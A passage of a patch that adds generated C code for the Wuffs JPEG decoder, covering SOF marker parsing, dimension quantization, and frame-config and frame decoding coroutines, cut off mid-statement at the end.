wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_comp_h = 0; ++ uint8_t v_comp_v = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ bool v_has_h24 = false; ++ bool v_has_h3 = false; ++ bool v_has_v24 = false; ++ bool v_has_v3 = false; ++ uint32_t v_upper_bound = 0; ++ uint64_t v_wh0 = 0; ++ uint64_t v_wh1 = 0; ++ uint64_t v_wh2 = 0; ++ uint64_t v_wh3 = 0; ++ uint64_t v_progressive = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_sof; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_decode_sof.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_payload_length < 6u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 6u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 == 8u) { ++ } else if (v_c8 == 12u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); ++ goto exit; ++ } else if (v_c8 == 16u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_sof.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ self->private_impl.f_height = t_1; ++ } ++ if (self->private_impl.f_height == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_sof.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ self->private_impl.f_width = t_2; ++ } ++ if (self->private_impl.f_width == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 == 0u) || (v_c8 > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } else if (v_c8 == 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); ++ goto exit; ++ } ++ self->private_impl.f_num_components = ((uint32_t)(v_c8)); ++ if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_components) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ self->private_impl.f_components_c[v_i] = t_4; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ v_comp_h = ((uint8_t)(v_c8 >> 4u)); ++ v_comp_v = ((uint8_t)(v_c8 & 15u)); ++ if ((v_comp_h == 0u) || ++ (v_comp_h > 4u) || ++ (v_comp_v == 0u) || ++ (v_comp_v > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_components_h[v_i] = v_comp_h; ++ if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { ++ self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; ++ } ++ self->private_impl.f_components_v[v_i] = v_comp_v; ++ if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { ++ self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 >= 4u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_components_tq[v_i] = v_c8; ++ v_j = 0u; ++ while (v_j < v_i) { ++ if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_num_components == 1u) { ++ self->private_impl.f_max_incl_components_h = 1u; ++ self->private_impl.f_max_incl_components_v = 1u; ++ self->private_impl.f_components_h[0u] = 1u; ++ self->private_impl.f_components_v[0u] = 1u; ++ } else { ++ v_has_h24 = false; ++ v_has_h3 = false; ++ v_has_v24 = false; ++ v_has_v3 = false; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_components) { ++ v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); ++ v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); ++ v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); ++ v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); ++ v_i += 1u; ++ } ++ if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); ++ goto exit; ++ } ++ if (self->private_impl.f_num_components == 4u) { ++ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); ++ } else { ++ if (self->private_impl.f_is_jfif) { ++ self->private_impl.f_is_rgb_or_cmyk = false; ++ } else if (self->private_impl.f_is_adobe > 0u) { ++ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); ++ } else { ++ self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); ++ } ++ } ++ } ++ self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); ++ self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); ++ v_upper_bound = 65544u; ++ self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); ++ self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); ++ self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); ++ self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); ++ self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); ++ self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); ++ self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); ++ self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); ++ v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); ++ v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); ++ v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); ++ v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); ++ v_progressive = 0u; ++ if (self->private_impl.f_sof_marker >= 194u) { ++ v_progressive = 2u; ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 10u) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ } ++ self->private_impl.f_components_workbuf_offsets[0u] = 0u; ++ self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); ++ self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); ++ self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); ++ self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); ++ self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_sof = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_sof = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_sof.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.quantize_dimension ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__quantize_dimension( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_width, ++ uint8_t a_h, ++ uint8_t a_max_incl_h) { ++ uint32_t v_ratio = 0; ++ ++ v_ratio = 0u; ++ if (a_h > 0u) { ++ v_ratio = ((uint32_t)(((uint8_t)(a_max_incl_h / a_h)))); ++ } ++ if (v_ratio == 1u) { ++ return ((a_width + 7u) / 8u); ++ } else if (v_ratio == 2u) { ++ return ((a_width + 15u) / 16u); ++ } else if (v_ratio == 3u) { ++ return ((a_width + 23u) / 24u); ++ } ++ return ((a_width + 31u) / 32u); ++} ++ ++// -------- func jpeg.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_frame_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); ++ wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); ++ uint32_t v_scan_count = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ v_scan_count = self->private_impl.f_scan_count; ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_ddf_status = t_0; ++ } ++ if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ } ++ if ( ! self->private_impl.f_swizzle_immediately && (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count))) { ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); ++ } ++ if (self->private_impl.f_num_components == 1u) { ++ v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, ++ a_dst, ++ a_workbuf, ++ 0u, ++ 4294967295u, ++ 0u, ++ 4294967295u, ++ ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u]))); ++ } else { ++ v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, ++ a_dst, ++ a_workbuf, ++ 0u, ++ 4294967295u, ++ 0u, ++ 4294967295u); ++ } ++ if (wuffs_base__status__is_error(&v_ddf_status)) { ++ status = v_ddf_status; ++ goto exit; ++ } else if (wuffs_base__status__is_error(&v_swizzle_status)) { ++ status = v_swizzle_status; ++ goto exit; ++ } ++ } ++ status = v_ddf_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_pixfmt = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint8_t v_marker = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_marker = self->private_data.s_do_decode_frame.v_marker; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_pixfmt = 536870920u; ++ if (self->private_impl.f_num_components > 1u) { ++ v_pixfmt = 2415954056u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(v_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_swizzle_immediately = false; ++ if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { ++ if (self->private_impl.f_sof_marker >= 194u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ self->private_impl.f_swizzle_immediately = self->private_impl.f_use_lower_quality; ++ self->private_impl.f_swizzle_immediately_status = wuffs_base__make_status(NULL); ++ } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { ++ wuffs_private_impl__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); ++ } ++ if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); ++ } ++ while (true) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 == 255u) { ++ break; ++ } ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 255u) { ++ v_marker = v_c8; ++ break; ++ } ++ } ++ if (v_marker == 0u) { ++ continue; ++ } else if ((208u <= v_marker) && (v_marker <= 217u)) { ++ if (v_marker <= 215u) { ++ continue; ++ } ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ self->private_impl.f_payload_length = t_2; ++ } ++ if 